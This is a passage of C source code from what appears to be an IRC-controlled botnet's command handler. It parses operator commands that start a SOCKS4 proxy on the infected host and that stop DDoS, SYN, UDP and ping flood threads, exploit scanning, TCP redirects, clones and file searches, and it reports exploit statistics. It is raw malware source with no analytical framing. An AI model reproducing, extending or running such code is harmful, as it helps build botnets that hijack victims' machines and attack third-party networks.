secure.silent = silent;
_snprintf(sendbuf, sizeof(sendbuf),"[SECURE]: %s system.", ((secure.secure)?("Securing"):("Unsecuring")));
secure.threadnum = addthread(sendbuf, SECURE_THREAD, NULL);
if (threads[secure.threadnum].tHandle = CreateThread(NULL, 0, &SecureThread, (LPVOID)&secure, 0, &id)) {
while (secure.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[SECURE]: Failed to start secure thread, error: <%d>.", GetLastError());
addlog(sendbuf);
return 1;
}
#endif
#ifndef NO_SOCK4SERV
else if (strcmp("socks4", a[s]) == 0 || strcmp("s4", a[s]) == 0) {
SOCKS4 socks4;
socks4.port = ((a[s+1])?((atoi(a[s+1])==0)?(socks4port):(atoi(a[s+1]))):(socks4port));
((a[s+2])?(_snprintf(socks4.userid,sizeof(socks4.userid),a[s+2])):
((parameters['a'])?(_snprintf(socks4.userid,sizeof(socks4.userid),user)):(socks4.userid[0]='\0')));
socks4.sock = sock;
socks4.notice = notice;
socks4.silent = silent;
_snprintf(socks4.chan,sizeof(socks4.chan),a[2]);
sprintf(sendbuf, "[SOCKS4]: Server started on: %s:%d.", GetIP(sock), socks4.port);
socks4.threadnum=addthread(sendbuf,SOCKS4_THREAD,NULL);
if (threads[socks4.threadnum].tHandle = CreateThread(NULL, 0, &Socks4Thread, (LPVOID)&socks4, 0, &id)) {
while(socks4.gotinfo == FALSE)
Sleep(50);
} else
addlogv("[SOCKS4]: Failed to start server thread, error: <%d>.", GetLastError());
return 1;
}
else if (strcmp("socks4stop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[SOCKS4]","Server",SOCKS4_THREAD,a[s+1]);
return 1;
}
#endif
#ifndef NO_RLOGIND
else if (strcmp("rloginstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[RLOGIND]","Server",RLOGIN_THREAD,a[s+1]);
return 1;
}
#endif
else if (strcmp("httpstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[HTTPD]","Server",HTTP_THREAD,a[s+1]);
return 1;
}
else if (strcmp("logstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[LOG]","Log list",LOG_THREAD,a[s+1]);
return 1;
}
else if (strcmp("redirectstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[REDIRECT]","TCP redirect",REDIRECT_THREAD,a[s+1]);
return 1;
}
else if (strcmp("ddos.stop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[DDoS]","DDoS flood",DDOS_THREAD,a[s+1]);
return 1;
}
else if (strcmp("synstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[SYN]","Syn flood",SYN_THREAD,a[s+1]);
return 1;
}
else if (strcmp("udpstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[UPD]","UDP flood",UDP_THREAD,a[s+1]);
return 1;
}
else if (strcmp("pingstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[PING]","Ping flood",PING_THREAD,a[s+1]);
return 1;
}
#ifndef NO_TFTPD
else if (strcmp("tftpstop", a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[TFTP]","Server",TFTP_THREAD,a[s+1]);
return 1;
}
#endif
#ifndef NO_FINDFILE
else if (strcmp("findfilestop",a[s]) == 0 || strcmp("ffstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[FINDFILE]","Find file",FIND_THREAD,a[s+1]);
return 1;
}
#endif
#ifndef NO_PROCESS
else if (strcmp("procsstop",a[s]) == 0 || strcmp("psstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[PROC]","Process list",PROC_THREAD,a[s+1]);
return 1;
}
#endif
else if (strcmp("clonestop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[CLONES]","Clone",CLONE_THREAD,a[s+1]);
return 1;
}
else if (strcmp("securestop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[SECURE]","Secure",SECURE_THREAD,a[s+1]);
return 1;
}
else if (strcmp("scanstop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[SCAN]","Scan",SCAN_THREAD,a[s+1]);
return 1;
}
/*else if (strcmp("scandel",a[s]) == 0 || strcmp("sdel",a[s]) == 0) {
DelPayloadFile(sock,a[2],notice,silent);
return 1;
}*/
else if (strcmp("scanstats",a[s]) == 0 || strcmp("stats",a[s]) == 0) {
ListExploitStats(sock,a[2],notice);
return repeat;
}
else if (strcmp("reconnect", a[s]) == 0 || strcmp("r", a[s]) == 0) {
irc_sendv(sock, "QUIT :reconnecting\r\n");
addlog("[MAIN]: Reconnecting.");
return 0;
}
else if (strcmp("disconnect", a[s]) == 0 || strcmp("dc", a[s]) == 0) {
irc_sendv(sock, "QUIT :disconnecting\r\n");
addlog("[MAIN]: Disconnecting.");
return -1;
}
else if (strcmp("quit", a[s]) == 0 || strcmp("q", a[s]) == 0) {
if (a[s+1]) {
if (x != NULL) {
char *y = strstr(x, a[s+1]);
if (y != NULL) irc_sendv(sock, "QUIT :%s\r\n", y);
}
} else
irc_sendv(sock, "QUIT :later\r\n");
return -2;